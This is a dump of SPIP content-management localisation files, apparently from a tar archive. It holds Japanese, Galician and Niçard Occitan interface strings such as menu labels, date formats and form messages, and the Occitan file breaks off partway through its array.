'titre_langue_trad_article' => '記事の言語と翻訳版',
'titre_les_articles' => '記事',
'titre_naviguer_dans_le_site' => 'このサイトをブラウザする...',
'titre_nouvelle_rubrique' => '新しいセクション',
'titre_numero_rubrique' => 'セクション番号:',
'titre_page_admin_effacer' => '技術的なメンテナンス: データベースを削除しています',
'titre_page_articles_edit' => '変更: @titre@',
'titre_page_articles_page' => '記事',
'titre_page_articles_tous' => '全てのサイト',
'titre_page_auteurs' => '訪問者たち',
'titre_page_calendrier' => 'カレンダー @nom_mois@ @annee@',
'titre_page_config_contenu' => 'サイトの設定',
'titre_page_config_fonctions' => 'サイトの設定',
'titre_page_configuration' => 'サイトの設定',
'titre_page_controle_petition' => '署名の把握',
'titre_page_delete_all' => '撤回できない、ページ全体の削除',
'titre_page_documents_liste' => '付属した文章',
'titre_page_index' => 'あなたのプライベートエリア',
'titre_page_message_edit' => 'メッセージを書く',
'titre_page_messagerie' => 'あなたのメッセージング',
'titre_page_recherche' => '検索語 @recherche@ による検索結果',
'titre_page_statistiques_referers' => '統計（入ってくるリンク）',
'titre_page_upgrade' => 'SPIPアップグレード',
'titre_publication_articles_post_dates' => '記事の投稿時間の公開',
'titre_referencer_site' => 'サイトの参照:',
'titre_rendez_vous' => '約束:',
'titre_reparation' => '修理',
'titre_suivi_petition' => '署名の把握',
'trad_article_inexistant' => 'この番号には記事はありません',
'trad_article_traduction' => '記事のすべてのバージョン:',
'trad_deja_traduit' => 'この記事は、それ自身現在の記事の翻訳です。',
'trad_delier' => 'この記事をその翻訳に関連付けないで下さい。', # MODIF
'trad_lier' => 'この記事はこの記事番号の翻訳です:',
'trad_new' => 'この記事の新しい翻訳を書く', # MODIF
// U
'utf8_convert_erreur_orig' => 'エラー: その文字セット @charset@ は、対応していません。',
'utf8_convert_termine' => '完了しました!!',
'utf8_convertir_votre_site' => 'あなたのサイトをutf-8に変換します。',
// V
'version' => 'バージョン:'
);
?>
public_gl.php 0000666 00000007441 15252547432 0007240 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/public?lang_cible=gl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'accueil_site' => 'Entrada do web', # MODIF
'article' => 'Artigo',
'articles' => 'Artigos',
'articles_auteur' => 'Artigos deste autor',
'articles_populaires' => 'Artigos máis populares',
'articles_rubrique' => 'Artigos desta sección',
'aucun_article' => 'Non hai artigo neste enderezo',
'aucun_auteur' => 'Non hai autor neste enderezo',
'aucun_site' => 'Non hai web neste enderezo',
'aucune_breve' => 'Non hai breves neste enderezo',
'aucune_rubrique' => 'Non hai sección neste enderezo',
'auteur' => 'Autor',
'autres' => 'Outras',
'autres_breves' => 'Outras breves',
'autres_groupes_mots_clefs' => 'Outros grupos de palabras chave',
'autres_sites' => 'Outros webs',
// B
'bonjour' => 'Bos días',
// C
'commenter_site' => 'Comentar este web',
'copie_document_impossible' => 'Resultou imposible a copia do documento',
// D
'date' => 'Data',
'dernier_ajout' => 'Último engadido',
'dernieres_breves' => 'Últimas breves',
'derniers_articles' => 'Últimos artigos',
'derniers_commentaires' => 'Últimos comentarios',
'derniers_messages_forum' => 'Últimas mensaxes publicadas nos foros',
// E
'edition_mode_texte' => 'Edición en modo texto de',
'en_reponse' => 'En resposta a :',
'en_resume' => 'En resumo',
'envoyer_message' => 'Enviar unha mensaxe',
'espace_prive' => 'Espazo privado',
// F
'formats_acceptes' => 'Formatos aceptados : @formats@.',
// H
'hierarchie_site' => 'Xerarquía do web',
// J
'jours' => 'días',
// L
'lien_connecter' => 'Conectar',
// M
'meme_auteur' => 'Do mesmo autor',
'meme_rubrique' => 'Na mesma sección',
'memes_auteurs' => 'Dos mesmos autores',
'message' => 'Mensaxe',
'messages_forum' => 'Mensaxes do foro', # MODIF
'messages_recents' => 'Mensaxes dos foros máis recentes',
'mots_clef' => 'Palabra clave',
'mots_clefs' => 'Palabras chave',
'mots_clefs_meme_groupe' => 'Palabras chave dentro do mesmo grupo',
// N
'navigation' => 'Navegación',
'nom' => 'Nome',
'nouveautes' => 'Novidades',
'nouveautes_web' => 'Novidades no web',
'nouveaux_articles' => 'Novos artigos',
'nouvelles_breves' => 'Novas breves',
// P
'page_precedente' => 'páxina anterior',
'page_suivante' => 'páxina seguinte',
'par_auteur' => 'por',
'participer_site' => 'Pode participar na vida deste web e propoñer os seus propios artigos inscribíndose aquí abaixo. Recibirá inmediatamente un correo que lle indicará o seu código de acceso ao espazo privado do web.',
'plan_site' => 'Mapa do web',
'popularite' => 'Popularidade',
'poster_message' => 'Enviar unha mensaxe',
'proposer_site' => 'Pode propoñer un web para engadir a esta sección :',
// R
'repondre_article' => 'Responder a este artigo',
'repondre_breve' => 'Responder a esta breve',
'resultats_recherche' => 'Resultados da procura',
'retour_debut_forums' => 'Volta ao principio dos foros',
'rubrique' => 'Sección',
'rubriques' => 'Seccións',
// S
'signatures_petition' => 'Sinaturas',
'site_realise_avec_spip' => 'Web realizado con SPIP',
'sites_web' => 'Sitios web',
'sous_rubriques' => 'Subseccións',
'spam' => 'Correo lixo',
'suite' => 'a seguir',
'sur_web' => 'Na rede',
'syndiquer_rubrique' => 'Sindicar esta sección',
'syndiquer_site' => 'Sindicar todo o web',
// T
'texte_lettre_information' => 'Velaquí a nota informativa do web',
'texte_lettre_information_2' => 'Esta nota recolle os artigos e as breves publicadas despois', # MODIF
// V
'ver_imprimer' => 'Versión para imprimir',
'voir_en_ligne' => 'Ver en liña',
'voir_squelette' => 'ver o esqueleto desta páxina'
);
?>
spip_oc_ni_mis.php 0000666 00000115555 15252547432 0010300 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_ni_mis
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-oc',
'0_langue' => 'Nissart (mistralenc) [oc_ni_mis]',
'0_liste' => 'spip-oc@rezo.net',
'0_mainteneur' => 'Sylvain Oliver : spip -at- oliver-fr.org',
// A
'access_interface_graphique' => 'Retour a l’interfaça gràfica coumpleta',
'access_mode_texte' => 'Afichà l’interfaça testuala simplificada',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Moudificà aquel article',
'admin_modifier_auteur' => 'Moudificà aquel autour',
'admin_modifier_breve' => 'Moudificà aquela brèva',
'admin_modifier_mot' => 'Moudificà aqueu mot clau',
'admin_modifier_rubrique' => 'Moudificà aquela rùbrica',
'admin_recalculer' => 'Recarculà aquela pàgina',
'afficher_calendrier' => 'Afichà lou calendari',
'afficher_trad' => 'afichà li traducioun',
'alerte_maj_impossible' => '<b>Alèrta !</b> La metuda a jou de la basa SQL vers la versioun @version@ es empoussible ; magara que lì a un proublema relatiéu au drech de moudificà la basa de dounada. Vourguès countatà lou vouòstre aubergadour.',
'alerte_modif_info_concourante' => 'MÈFI : Aquela infourmacioun es estada moudificada d’un autre bias. La valour atuala es :',
'analyse_xml' => 'Analisa XML',
'annuler' => 'Anulà',
'antispam_champ_vide' => 'Vourguès laissà aqueu camp vuèi:',
'articles_recents' => 'Lu article mai rechent',
'avis_1_erreur_saisie' => 'Lì a 1 errour en la vouòstra sesìda, vourguès verificà li infourmacioun.',
'avis_archive_incorrect' => 'lou fichié arquivi noun es un fichié SPIP',
'avis_archive_invalide' => 'lou fichier arquivi noun es valid',
'avis_attention' => 'MÈFI !',
'avis_champ_incorrect_type_objet' => 'Noum de camp incourrect @name@ per un ouget de tìpou @type@',
'avis_colonne_inexistante' => 'La coulòna @col@ noun esista',
'avis_erreur' => 'Errour : veire aquì souta',
'avis_erreur_connexion' => 'Errour de counessioun',
'avis_erreur_cookie' => 'proublèma de cookie',
'avis_erreur_fonction_contexte' => 'Errour de prougramacioun. Noun apelà aquela founcioun en aqueu countest.',
'avis_erreur_mysql' => 'Errour SQL ',
'avis_erreur_sauvegarde' => 'Errour en la sauvagarda (@type@ @id_objet@) ! ',
'avis_erreur_visiteur' => 'Proublèma d’achès a l’espaci privat',
'avis_nb_erreurs_saisie' => 'Lì a @nb@ errour en la vouòstra sesìda, vourguès verificà li infourmacioun.',
// B
'barre_a_accent_grave' => 'Inscrì una A achèntou grave maiùscoula',
'barre_aide' => 'Utilisà li escourcha tipougràfiqui da enriquì la vouòstra coumpaginacioun',
'barre_e_accent_aigu' => 'Inscrì una E achèntou agut maiùscoula',
'barre_eo' => 'Inscrì una E en l’O',
'barre_eo_maj' => 'Inscrì una E en l’O maiùscoula',
'barre_euro' => 'Inscrì lou sìmbolou €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Entourà embé de « virgouleta »',
'barre_guillemets_simples' => 'Entourà embé de “virgouleta de segount nivèu”',
'barre_intertitre' => 'Trasfourmà en {{{intertitre}}}',
'barre_italic' => 'Metre en {itàlicou}',
'barre_lien' => 'Trasfourmà en [estac ipertèst->http://...]',
'barre_lien_input' => 'Vourguès endicà l’adressa dóu vouòstre estac (poudès endicà una adressa web souta la forma http://www.loumieusit.com o simplamen endicà lou número d’un article d’aqueu sit).',
'barre_note' => 'Trasfourmà en [[Nota de bas de pàgina]]',
'barre_paragraphe' => 'Creà un paràgrafou',
'barre_quote' => '<quote>Cità un message</quote>',
'bouton_changer' => 'Cambià',
'bouton_chercher' => 'Cercà',
'bouton_choisir' => 'Chausì',
'bouton_deplacer' => 'Desplaçà',
'bouton_download' => 'Telecargà',
'bouton_enregistrer' => 'Registrà',
'bouton_radio_desactiver_messagerie_interne' => 'Desativà la messagerìa interna',
'bouton_radio_envoi_annonces' => 'Mandà lu anounci editourial',
'bouton_radio_non_envoi_annonces' => 'Noun mandà d’anounci',
'bouton_radio_non_envoi_liste_nouveautes' => 'Noun mandà la lista dei nouvità',
'bouton_recharger_page' => 'Recargà aquela pàgina',
'bouton_telecharger' => 'Telecargà',
'bouton_upload' => 'Televersà',
'bouton_valider' => 'Validà',
// C
'cal_apresmidi' => 'predinà',
'cal_jour_entier' => 'jou entié',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendari per jou',
'cal_par_mois' => 'calendari per mès',
'cal_par_semaine' => 'calendari per semana',
'choix_couleur_interface' => 'coulou ',
'choix_interface' => 'chausida de l’interfaça',
'colonne' => 'Coulòna',
'confirm_changer_statut' => 'Mèfi, avès demandat de cambià l’estatut d’aquel elemen. Desiràs countinuà ?',
'correcte' => 'courret', # chaine utilisée dans le debugueur : "validation .. impossible" ou "validation .. correcte"
// D
'date_aujourdhui' => 'ancuèi',
'date_avant_jc' => 'avant lou Crist',
'date_dans' => 'en @delai@',
'date_de_mois_1' => '@j@ de genouié',
'date_de_mois_10' => '@j@ d’outobre',
'date_de_mois_11' => '@j@ de nouvembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de febrié',
'date_de_mois_3' => '@j@ de mars',
'date_de_mois_4' => '@j@ d’abriéu',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de jugne',
'date_de_mois_7' => '@j@ de julhet',
'date_de_mois_8' => '@j@ d’aoust',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ à @heure@',
'date_fmt_jour_heure_debut_fin' => 'lou @jour@ de @heure_debut@ fin a @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'lou @dtstart@@jour@ de @heure_debut@@dtabbr@ fin a @dtend@@heure_fin@@dtabbr@',
'date_fmt_jour_mois' => 'lou @jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ dóu @annee@',
'date_fmt_mois_annee' => '@nommois@ dóu @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => 'lou @nomjour@ @date@',
'date_fmt_periode' => 'Dau @date_debut@ fin a @date_fin@',
'date_fmt_periode_abbr' => 'Dau @dtart@@date_debut@@dtabbr@ fin a @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Dau',
'date_fmt_periode_to' => 'fin a',
'date_fmt_saison_annee' => '@saison@ @annee@',
'date_heures' => 'oura',
'date_hier' => 'ier',
'date_il_y_a' => '@delai@ fa',
'date_jnum1' => '1er',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimènegue',
'date_jour_1_abbr' => 'dmg.',
'date_jour_1_initiale' => 'dg.',
'date_jour_2' => 'dilun',
'date_jour_2_abbr' => 'dil.',
'date_jour_2_initiale' => 'dl.',
'date_jour_3' => 'dimars',
'date_jour_3_abbr' => 'dmr.',
'date_jour_3_initiale' => 'dm.',
'date_jour_4' => 'dimècre',
'date_jour_4_abbr' => 'dmc.',
'date_jour_4_initiale' => 'dc.',
'date_jour_5' => 'dijòu',
'date_jour_5_abbr' => 'dij.',
'date_jour_5_initiale' => 'dj.',
'date_jour_6' => 'divendre',
'date_jour_6_abbr' => 'div.',
'date_jour_6_initiale' => 'dv.',
'date_jour_7' => 'dissata',
'date_jour_7_abbr' => 'dis.',
'date_jour_7_initiale' => 'ds.',
'date_jours' => 'jou',
'date_minutes' => 'minuta',
'date_mois' => 'mès',
'date_mois_1' => 'genouié',
'date_mois_10' => 'outobre',
'date_mois_10_abbr' => 'out.',
'date_mois_11' => 'nouvembre',
'date_mois_11_abbr' => 'nouv.',
'date_mois_12' => 'decembre',
'date_mois_12_abbr' => 'dec.',
'date_mois_1_abbr' => 'gen.',
'date_mois_2' => 'febrié',
'date_mois_2_abbr' => 'febr.',
'date_mois_3' => 'mars',
'date_mois_3_abbr' => 'mars',
'date_mois_4' => 'abriéu',
'date_mois_4_abbr' => 'abr.',
'date_mois_5' => 'mai',
'date_mois_5_abbr' => 'mai',
'date_mois_6' => 'jugne',
'date_mois_6_abbr' => 'jugne',
'date_mois_7' => 'julhet',
'date_mois_7_abbr' => 'julh.',
'date_mois_8' => 'aoust',
'date_mois_8_abbr' => 'aoust',
'date_mois_9' => 'setembre',
'date_mois_9_abbr' => 'set.',
'date_saison_1' => 'iver',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiéu',
'date_saison_4' => 'autoun',
'date_secondes' => 'secounda',
'date_semaines' => 'semana',
'date_un_mois' => 'mès',
'date_une_heure' => 'oura',
'date_une_minute' => 'minuta',
'date_une_seconde' => 'secounda',
'date_une_semaine' => 'semana',
'dirs_commencer' => ' per fin de coumençà vertadieramen l’instalacioun',
'dirs_preliminaire' => 'Preliminari : <b>Reglà lu drech d’achès</b>',
'dirs_probleme_droits' => 'Proublèma de drech d’achès',
'dirs_repertoires_absents' => '<p><b>Lu repertori seguent noun soun estat troubat :</b></p><ul>@bad_dirs@.</ul>
<p>Si pòu que vengue d’un proublema de maiùscoula o minùscula mau metuda.
Verificàs que li minùscula e maiùscoula d’aquelu repertori courrespouòndon ben embé cen qu’es afichat
aquì soubre ; s’es pas lou cas, renoumàs lu repertori embé lou vouòstre lougiciau FTP per courregì l’errour.</p>
<p>Un còu qu’aurès fach acò, pourès ',
'dirs_repertoires_suivants' => '<p><b>Lu repertori seguent noun soun achessible en escritura :</b></p><ul>@bad_dirs@.</ul>
<p>Per lì remedià, utilisàs lou vouòstre client FTP per fin de reglà lu drech d’achès de cadun
d’aquelu repertori. La guida d’instalacioun espliga en detalh couma prouchedre.</p>
<p>Un còu aquesta manipulacioun facha, pourès ',
'double_occurrence' => 'Doubla ocurença de @balise@',
// E
'en_cours' => 'en cours',
'envoi_via_le_site' => 'Manda vìa lou sit web',
'erreur' => 'Errour',
'erreur_balise_non_fermee' => 'darrièra balisa noun clàusa :',
'erreur_technique_ajaxform' => 'Achident ! Una errour emprouvisa a empedit de soumetre lou fourmulari. Poudès encara prouvà.',
'erreur_technique_enregistrement_champs' => 'Una errour tecnicala a empedit de ben registrà lou camp @champs@.',
'erreur_technique_enregistrement_impossible' => 'Una errour tecnicala a empedit lou registramen.',
'erreur_texte' => 'errour',
'etape' => 'Tapa',
// F
'fichier_introuvable' => 'Fichié @fichier@ introuvable',
'form_auteur_confirmation' => 'Counfirmàs la vouòstra adressa email',
'form_auteur_email_modifie' => 'La vouòstra adressa email a estada moudificada.',
'form_auteur_envoi_mail_confirmation' => 'Un courrié electrònicou de counfirmacioun a estat mandat a @email@. Deurès visità l’adressa Web menciounada en aqueu courrié pèr validà la vouòstra adressa mail.',
'form_auteur_mail_confirmation' => 'Bouònjou,
Avès demandat à changà la vouòstra adressa e-mail.
Pèr counfirmà la vouòstra adressa nova, devès vi counetà pèr
l’adressa aquì souta (senoun la vouòstra demanda
sera ignourada) :
@url@
',
'form_deja_inscrit' => 'Sias ja inscrich.',
'form_email_non_valide' => 'La vouòstra adressa e-mail noun es valida.',
'form_forum_access_refuse' => 'Poudès pu achèdre en estou sit.',
'form_forum_bonjour' => 'Bouònjou,',
'form_forum_confirmer_email' => 'Pèr counfirmà la vouòstra adressa e-mail, anàs en aquela adressa : @url_confirm@',
'form_forum_email_deja_enregistre' => 'Aquela adressa e-mail es ja registrada, poudès dounca utilisà lou vouòstre mot de passa abitual.',
'form_forum_identifiant_mail' => 'Lou vouòstre nouvèl identificant ven de v’èstre mandat da e-mail.',
'form_forum_identifiants' => 'Identificant persounal',
'form_forum_indiquer_nom_email' => 'Endicàs aquí lou vouòstre noum e la vouòstra adressa e-mail. Lou vouòstre identificant persounal arriberà rapidamen, da courrié electrònicou.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(aquò es un message automatic)',
'form_forum_pass' => 'mot de passa :',
'form_forum_probleme_mail' => 'Proublèma d’e-mail : l’identificant noun pòu estre mandat.',
'form_forum_voici1' => 'Vèqui lu vouòstre identificant pèr poudé participà à la vida dóu sit "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Vèqui lu vouòstre identificant pèr proupausà d’article
sus lou sit "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'Vourguès endicà la vouòstra adressa e-mail.',
'form_indiquer_nom' => 'Vourguès endicà lou vouòstre noum.',
'form_indiquer_nom_site' => 'Vourguès endicà lou noum dóu vouòstre sit.',
'form_pet_deja_enregistre' => 'Aqueu sit es ja registrat',
'form_pet_signature_pasprise' => 'La vouòstra firma es pas pilhada en conte.',
'form_prop_confirmer_envoi' => 'Counfirmà l’espedissioun',
'form_prop_description' => 'Descricioun/coumentari',
'form_prop_enregistre' => 'La vouòstra proupòsta es registrada, apareisserà en ligna après validacioun dei respounsable dóu sit.',
'form_prop_envoyer' => 'Mandà un message',
'form_prop_indiquer_email' => 'Vourguès endicà una adressa e-mail valida',
'form_prop_indiquer_nom_site' => 'Vourguès endicà lou noum dóu sit.',
'form_prop_indiquer_sujet' => 'Vourguès endicà un soujet',
'form_prop_message_envoye' => 'Message mandat',
'form_prop_non_enregistre' => 'La vouòstra proupòsta es pas estada registrada.',
'form_prop_sujet' => 'Soujet',
'form_prop_url_site' => 'Adressa URL dóu sit',
'forum_non_inscrit' => 'Noun sias inscrich, o l’adressa o lou mot de passa es erróneou.',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Errour...',
// I
'ical_texte_rss_articles' => 'Lou fichié « backend » dei article d’estou sit si troba a l’adressa :',
'ical_texte_rss_articles2' => 'Poudès finda outenì de fichié « backend » per lu article de cada rùbrica dóu sit :',
'ical_texte_rss_breves' => 'Esìsta de mai un fichié countenant li brèva dóu sit. En prechisant un nùmero de rùbrica, outendrès basta li brèva d’aquela rùbrica.',
'icone_a_suivre' => 'Da sègre',
'icone_admin_site' => 'Aministracioun dóu sit',
'icone_agenda' => 'Agenda',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Article',
'icone_auteurs' => 'Autour',
'icone_brouteur' => 'Navigacioun rapida',
'icone_configuration_site' => 'Counfiguracioun',
'icone_configurer_site' => 'Counfigurà lou vouòstre sit',
'icone_creer_nouvel_auteur' => 'Creà un nouvel autour',
'icone_creer_rubrique' => 'Creà una rùbrica',
'icone_creer_sous_rubrique' => 'Creà una souta-rùbrica',
'icone_deconnecter' => 'Si descounetà',
'icone_discussions' => 'Discussioun',
'icone_doc_rubrique' => 'Doucumen dei rùbrica',
'icone_ecrire_article' => 'Escrieure un novèl article',
'icone_edition_site' => 'Edicioun',
'icone_gestion_langues' => 'Gestioun dei lenga',
'icone_informations_personnelles' => 'Infourmacioun persounali',
'icone_interface_complet' => 'interfaça coumpleta',
'icone_interface_simple' => 'Interfaça simplificada',
'icone_maintenance_site' => 'Mantenença dóu sit',
'icone_messagerie_personnelle' => 'Messagerìa persounala',
'icone_repartition_debut' => 'Afichà la reparticioun despì lou prencìpi',
'icone_rubriques' => 'Rùbrica',
'icone_sauver_site' => 'Sauvagarda dóu sit',
'icone_site_entier' => 'Tout lou sit',
'icone_sites_references' => 'Sit referençat',
'icone_statistiques' => 'Estatìstica dóu sit',
'icone_suivi_activite' => 'Sègre la vida dóu sit',
'icone_suivi_actualite' => 'Evoulucioun dóu sit',
'icone_suivi_pettions' => 'Sègre/gerà li peticioun',
'icone_suivi_revisions' => 'Moudificacioun dei article',
'icone_supprimer_document' => 'Suprimà aqueu doucumen',
'icone_supprimer_image' => 'Suprimà aquela image',
'icone_tous_articles' => 'Toui lu vouòstre article',
'icone_tous_auteur' => 'Toui lu autour',
'icone_tous_visiteur' => 'Toui lu visitaire',
'icone_visiter_site' => 'Veire lou sit pùblicou',
'icone_voir_en_ligne' => 'Veire en ligna',
'img_indisponible' => 'image indispounible',
'impossible' => 'empoussible',
'info_a_suivre' => 'DA SÈGRE »',
'info_acces_interdit' => 'Achès prouhibit',
'info_acces_refuse' => 'Achès refudat',
'info_action' => 'Acioun : @action@',
'info_administrer_rubriques' => 'Poudès aministrà aquela rùbrica e li sieu souta-rùbrica',
'info_adresse_non_indiquee' => 'Noun avès endicat d’adressa a prouvà !',
'info_aide' => 'AJUDA:',
'info_ajouter_mot' => 'Ajustà aqueu mot',
'info_annonce' => 'ANOUNCI',
'info_annonces_generales' => 'Anounci general :',
'info_article_propose' => 'Article proupausat',
'info_article_publie' => 'Article publicat',
'info_article_redaction' => 'Article en cours de redacioun',
'info_article_refuse' => 'Article refudat',
'info_article_supprime' => 'Article suprimat',
'info_articles' => 'Article',
'info_articles_a_valider' => 'Lu article a validà',
'info_articles_nb' => '@nb@ article',
'info_articles_proposes' => 'Article proupausat',
'info_articles_un' => '1 article',
'info_auteurs_nombre' => 'autour',
'info_authentification_ftp' => 'autentificacioun (da FTP).',
'info_breves_2' => 'brèva',
'info_breves_nb' => '@nb@ brèva',
'info_breves_un' => '1 brèva',
'info_connexion_refusee' => 'Counessioun refusada',
'info_contact_developpeur' => 'Vourguès countatà un desfouloupaire.',
'info_contenance' => 'Aqueu sit couten :',
'info_contribution' => 'countribucioun',
'info_copyright' => '@spip@ es un lougiciau lìberou distribuit @lien_gpl@.',
'info_copyright_doc' => 'Per mai d’infourmacioun, veire lou sit <a href="@spipnet@">@spipnet_affiche@</a>.',
'info_copyright_gpl' => 'souta lichença GPL',
'info_cours_edition' => 'Lu vouòstre article en cours de redacioun',
'info_creer_repertoire' => 'Vourguès creà un fichié o un repertori noumat',
'info_creer_repertoire_2' => 'en dintre dóu souta-repertori <b>@repertoire@</b>, pi :',
'info_creer_vignette' => 'creacioun autoumatica de la vigneta',
'info_creerdansrubrique_non_autorise' => 'Noun avès lu drech suficient pèr creà un countegut en aquela rùbrica',
'info_deplier' => 'Desplegà',
'info_descriptif_nombre' => 'descritiéu :',
'info_description' => 'Descricioun :',
'info_description_2' => 'Descricioun :',
'info_dimension' => 'Dimensioun :',
'info_documents_nb' => '@nb@ doucumen',
'info_documents_un' => '1 doucumen',
'info_ecire_message_prive' => 'Escrieure un message privat',
'info_email_invalide' => 'Adressa e-mail invalida',
'info_en_cours_validation' => 'Lu vouòstre article en cours de redacioun',
'info_en_ligne' => 'Ahura en ligna :',
'info_envoyer_message_prive' => 'Mandà un message privat en aquel autour',
'info_erreur_requete' => 'Errour en la requesta :',
'info_erreur_squelette2' => 'Minga d’esquèletrou <b>@fichier@</b> es dispounibla...',
'info_erreur_systeme' => 'Errour sistèma (errno @errsys@)',
'info_erreur_systeme2' => 'Bessai que lou disc dur es plen, o la basa de dounada es degalhada.<br />
<span style="color:red;">Prouvàs de <a href=\'@script@\'>reparà la basa</a>, o countatàs lou vouòstre aubergadour.</span>',
'info_fini' => 'Es acabat !',
'info_format_image' => 'Fourmat d’image que pouòdon èstre utilisat pèr creà de vigneta : @gd_formats@.',
'info_format_non_defini' => 'fourmat noun definit',
'info_grand_ecran' => 'Gran ecran',
'info_image_aide' => 'AJUDA',
'info_image_process_titre' => 'Mètodou de fabricacioun dei vigneta',
'info_impossible_lire_page' => '<b>Errour !</b> Empoussible de legì la pàgina <tt><html>@test_proxy@</html></tt> pèr lou proxy <tt>',
'info_installation_systeme_publication' => 'Instalacioun dóu sistema de publicacioun...',
'info_installer_documents' => 'Poudès instalà autoumaticamen toui lu doucumen contengut en lou doussié @upload@.',
'info_installer_ftp' => 'En la mesura doun sias aministratour, poudès instalà (per FTP) de fichié en lou doussié @upload@ pi lu seleciounà aquì.',
'info_installer_images' => 'Poudès instalà d’image ai fourmat JPEG, GIF e PNG.',
'info_installer_images_dossier' => 'Instalà d’image en lou doussié @upload@ per lu poudé seleciounà aquí.',
'info_interface_complete' => 'interfaça coumpleta',
'info_interface_simple' => 'Interfaça simplificada',
'info_joindre_document_article' => 'Poudès jougné en aquel article de doucumen de tìpou',
'info_joindre_document_rubrique' => 'Poudès jougné en aquela rùbrica de doucumen de tìpou',
'info_joindre_documents_article' => 'Poudès jougné dau vouòstre article de doucumen de tìpou :',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brèva',
'info_la_rubrique' => 'la rùbrica',
'info_langue_principale' => 'Lenga principala dóu sit',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixel',
'info_les_auteurs_1' => 'per @les_auteurs@ ',
'info_logo_format_interdit' => 'Basta lu logo de fourmat @formats@ soun autourisat.',
'info_logo_max_poids' => 'Lu logo devon oubligatoriamen faire mens de @maxi@ (aquèu fichié fa @actuel@).',
'info_mail_fournisseur' => 'vous@fournissur.com',
'info_message_2' => 'MESSAGE',
'info_message_supprime' => 'MESSAGE SUPRIMAT',
'info_messages_nb' => '@nb@ message',
'info_messages_un' => '1 message',
'info_mise_en_ligne' => 'Data de metuda en ligna :',
'info_modification_parametres_securite' => 'modificacioun dei parametre de segurtà',
'info_mois_courant' => 'En cours de mes:',
'info_mot_cle_ajoute' => 'Lou mot clau seguent es estat ajustat a ',
'info_multi_herit' => 'Lenga predefinida',
'info_multi_langues_soulignees' => 'Li <u>lenga soulignada</u> beneficioun d’una traducioun toutala o partiala dei test de l’interfaça. Se seleciounàs aqueli lenga, touplen d’elemen dóu sit public (data, fourmulari) seran traduch autoumaticamen. Per li lenga noun soulinhadi, aquelu elemen apareisseran en la lenga principala dóu sit.',
'info_multilinguisme' => 'Multilenguisme',
'info_nom_non_utilisateurs_connectes' => 'Lou vouòstre noum noun aparèisse en la lista dei utilisaire counetat.',
'info_nom_utilisateurs_connectes' => 'Lou vouòstre noum aparèisse en la lista dei utilisaire counetat.',
'info_nombre_en_ligne' => 'Ahura en ligna :',
'info_non_resultat' => 'Minga de resultat per "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Noun utilisàs la messagerìa interna d’estou sit.',
'info_nouveau_message' => 'AVÈS UN NOUVÈU MESSAGE',
'info_nouveaux_messages' => 'AVÈS @total_messages@ NOUVÈU MESSAGE',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Aquela infourmacioun es oubligatorìa',
'info_pense_bete' => 'NOTA DE RENEMBRANÇA ',
'info_petit_ecran' => 'Pichoun ecran',
'info_petition_close' => 'Peticioun plugada',
'info_pixels' => 'pixel',
'info_plusieurs_mots_trouves' => 'Plusiur mot clau troubat per "@cherche_mot@":',
'info_portfolio_automatique' => 'Pouòrtafoliò automatic :',
'info_premier_resultat' => '[@debut_limit@ premié resultat de @total@]',
'info_premier_resultat_sur' => ' [@debut_limit@ premié resultat de @total@]',
'info_propose_1' => '[@nom_site_spip@] proupausa : @titre@',
'info_propose_2' => 'Article proupausat
----------------',
'info_propose_3' => 'L’article "@titre@" es proupausat a la publicacioun.',
'info_propose_4' => 'Sias counvidat a lou venì counsultà e a dounà la vouòstra oupinioun',
'info_propose_5' => 'en lou fòrou que li es estacat. Es dispounibla a l’adressa :',
'info_publie_01' => 'L’article "@titre@" es estat validat per @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICA : @titre@',
'info_publie_2' => 'Article publicat
----------------',
'info_rechercher' => 'Recercà',
